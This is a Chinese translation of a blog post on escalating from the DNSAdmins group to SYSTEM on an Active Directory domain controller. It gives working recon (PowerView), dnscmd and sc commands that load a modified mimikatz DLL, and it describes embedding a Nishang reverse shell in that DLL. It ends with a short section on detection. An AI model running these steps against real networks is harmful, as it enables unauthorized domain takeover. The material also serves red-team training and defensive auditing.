翻译自:http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
翻译:聂心明
昨天,我读了Shay Ber的文章,感觉非常不错,链接在https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83 ,翻译在:https://blog.csdn.net/niexinming/article/details/83099797 这篇文章很详细的介绍了一个在域控环境中容易被滥用的功能。在红蓝对抗中,我十分依赖这个被滥用的功能,并且我也会在训练中建议使用缓冲区溢出漏洞。这个被滥用的功能同样非常致命且常常被忽略。
这篇文章详细的介绍了这个在ad中被滥用的功能,这个提权的功能需要一个用户,这个用户是DNSAdmins组中的成员或者对SYSTEM权限下的DNS服务具有写的权限且能够加载任意DLL。因为很多企业的域控也是DNS服务器,这是一个非常有趣的发现。让我们看看这个功能在实战中威力究竟如何。
建立一个实验环境,在实验室中我们作为一个普通的域用户(labuser)去访问AD域:
让我们用PowerView( https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 )查看部分DNSAdmins组中成员。
PS C:\> Get-NetGroupMember -GroupName "DNSAdmins"
在真实的渗透环境中,下一步的目标是buildadmin用户。我们用PowerView的Invoke-UserHunter 指令来寻找buildadmin组下可用的token。
PS C:\> Invoke-UserHunter -UserName buildadmin
继续讨论这个主题,我假设我们已经找到buildadmin权限下一个有效的凭据,并且当前的用户(labuser)同时具有本地管理员权限(派生管理员),所以,我们拥有了DNSAdmins用户组成员权限。
现在,我设计了两个场景,第一个场景是域控和DNS服务器是同一个服务器,第二个场景是域控服务器和DNS服务器是分开的
首先看第一个场景,就是DNS服务运行在域控服务器上,我会用Shay文章中提及到的方法加载一个dll。这也是PowerShell的一个模块--dnsserver--但是这个模块没有一个很完善的文档。
在讨论dll之前,我发现上面提到的帖子没有解决的问题。如果你翻阅MS-DNSP 协议说明书可以看到,ServerLevelPluginDll 需要一个绝对路径。这就意味着,从UNC路径(网络路径)加载dll是不可能的。我们必须从本地机器加载DLL。我尝试从UNC路径和http上加载DLL,都失败了。而且因为我们需要域控上的写权限,所以这变相的提高了攻击门槛。实际上,看了那个文章之后我不想写这篇文章,但是我现在决定写这个文章,目的是为了后人遇到相应的问题之后不会浪费很多时间寻找解决方案,而且我也会学习到一些东西。如果有比我更聪明的人找到远程加载dll的方法的话,我会更开心。
更新:Benjamin( https://twitter.com/gentilkiwi/status/862038363829919744 )提出可以从UNC路径加载DLL。 我的错误的原因是使用‘c$’作为unc路径!
我们使用下面的路径加载DLL。\\ops-build\dll 这个路径要能被域控所访问。
PS C:\> dnscmd ops_dc /config /serverlevelplugindll \\ops-build\dll\mimilib.dll
如果你要调试的话(需要目标系统的管理员权限),下面的指令可以告诉我们我们的DLL是否被成功的加载进系统中
PS C:\> Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
现在,因为我们的用户是DNSAdmins组的成员,所以我们能重启dns服务。这时,默认配置已经被改变,讲道理,这需要一个有权限的人去重启重启DNS服务。必须要从本地启动服务,但是,在当前的场景中。我们必须需要远程的管理员权限才可以做成这样的事情。那么攻击将会变的异常困难。
C:\> sc \\ops-dc stop dns
C:\> sc \\ops-dc start dns
所以,假设当上面的指令成功执行之后会发生什么呢?为了此次攻击,Benjamin很快的升级了mimilib。这次升级之后的版本在: https://github.com/gentilkiwi/mimikatz/blob/master/mimilib 中 它会把所有的DNS请求记录在C:\Windows\system32\kiwidns.log
我要修改kdns.c( https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c )使其具有执行任意命令的能力,我在里面插入了一段Nishang的powershell反弹脚本( https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1 ),然后再使用Invoke-Encode把反弹语句做一次编码。这样的话,每执行一次dns请求payload就会执行一次,而且kiwidns.log也会被正常的创建和记录。
在服务器上监听一个端口等待反弹:
太棒啦!我们拿到了域控上的SYSTEM权限。并且我们拥有了这个域和这个域下的所有资源。
对于第二张场景,如果dns服务没有运行在域控服务器上,我们仍然会获得system权限,但是这个system权限仅仅属于DNSAdmins组,不过可以重启dns服务。
为了阻止攻击,要审查dns服务器对象的权限和DNSAdmins组下的成员。
日志中有两个事件可以找到dns重启的线索:日志事件150是重启失败的ID,770是成功的ID。
Microsoft-Windows-DNS-Server/Audit中成功和失败的事件都是541
监视HKLM:\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll的改变也会非常有用
希望你能喜欢我的文章